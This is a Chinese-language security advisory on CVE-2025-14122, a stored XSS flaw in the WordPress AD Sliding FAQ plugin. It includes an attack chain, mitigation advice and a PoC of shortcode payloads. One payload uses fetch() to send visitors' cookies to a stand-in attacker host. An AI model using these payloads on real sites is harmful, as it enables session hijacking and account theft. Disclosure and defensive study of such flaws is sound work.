IPBUF安全漏洞报告
English
CVE-2025-14122 CVSS 6.4 中危

CVE-2025-14122 WordPress AD Sliding FAQ插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14122
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AD Sliding FAQ WordPress插件

相关标签

存储型XSSWordPress插件漏洞短代码注入CVE-2025-14122AD Sliding FAQWeb安全跨站脚本攻击

漏洞概述

CVE-2025-14122是WordPress的AD Sliding FAQ插件中存在的一个存储型跨站脚本(XSS)安全漏洞。该漏洞由于插件在处理sliding_faq短代码时,对用户提供的属性参数缺乏足够的输入 sanitization(消毒)和输出转义(output escaping)而导致的。攻击者可以利用此漏洞,通过在短代码属性中注入恶意JavaScript脚本,当其他用户访问包含该短代码的页面时,恶意脚本将在受害者浏览器中执行。由于该插件被广泛应用于WordPress网站的FAQ(常见问题)展示功能,攻击者一旦成功注入恶意代码,可能窃取用户的会话Cookie、劫持用户账户、进行钓鱼攻击或在网站上执行其他恶意操作。漏洞影响版本为2.4及以下所有版本,攻击者需要拥有WordPress网站的贡献者(Contributor)级别或更高权限账户即可利用此漏洞。

技术细节

AD Sliding FAQ插件提供了[sliding_faq]短代码功能,允许用户通过短代码在页面或文章中嵌入可折叠展开的FAQ组件。然而,插件在处理短代码属性时存在安全缺陷。具体问题在于:1) 输入验证不足:插件未对sliding_faq短代码的属性参数进行严格的输入验证和过滤,允许攻击者传入包含恶意脚本代码的属性值;2) 输出转义缺失:插件在将属性值输出到HTML页面时,未进行适当的HTML实体编码或转义处理,导致用户输入的恶意代码被浏览器直接解析执行。由于存储型XSS的特性,恶意代码会被永久保存在数据库中(存储在文章或页面的短代码中),所有访问该页面的用户都会受到攻击。攻击者只需在文章或页面中插入恶意短代码,等待管理员或其他用户访问该页面即可触发攻击。Wordfence安全团队于2026年1月7日披露此漏洞并提供修复建议。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress网站的Contributor或更高权限账户
STEP 2
步骤2
攻击者在文章或页面编辑中插入包含恶意JavaScript代码的sliding_faq短代码
STEP 3
步骤3
恶意代码随文章内容被永久存储到数据库中
STEP 4
步骤4
普通用户或管理员访问包含恶意短代码的页面
STEP 5
步骤5
浏览器解析页面时,未转义的恶意脚本代码被执行,攻击者可窃取Cookie、劫持会话或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Basic PoC for CVE-2025-14122 Stored XSS in AD Sliding FAQ --> <!-- Attackers with Contributor role can inject malicious JavaScript via shortcode attributes --> <!-- Malicious shortcode example --> [sliding_faq question='<script>alert(document.cookie)</script>' answer='XSS'] <!-- Alternative payload with event handler --> [sliding_faq question='" onmouseover="alert(document.domain)" xlink="' answer='FAQ Content'] <!-- More sophisticated payload for cookie stealing --> [sliding_faq question='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' answer='Details']

影响范围

AD Sliding FAQ WordPress插件 <= 2.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用AD Sliding FAQ插件,使用其他替代插件;2) 加强用户权限管理,审查所有具有文章发布权限的账户;3) 启用WordPress防火墙和安全插件(如Wordfence)进行实时监控和攻击拦截;4) 对现有文章内容进行全面排查,清理可能存在的恶意短代码注入;5) 启用Content Security Policy (CSP)响应头限制脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表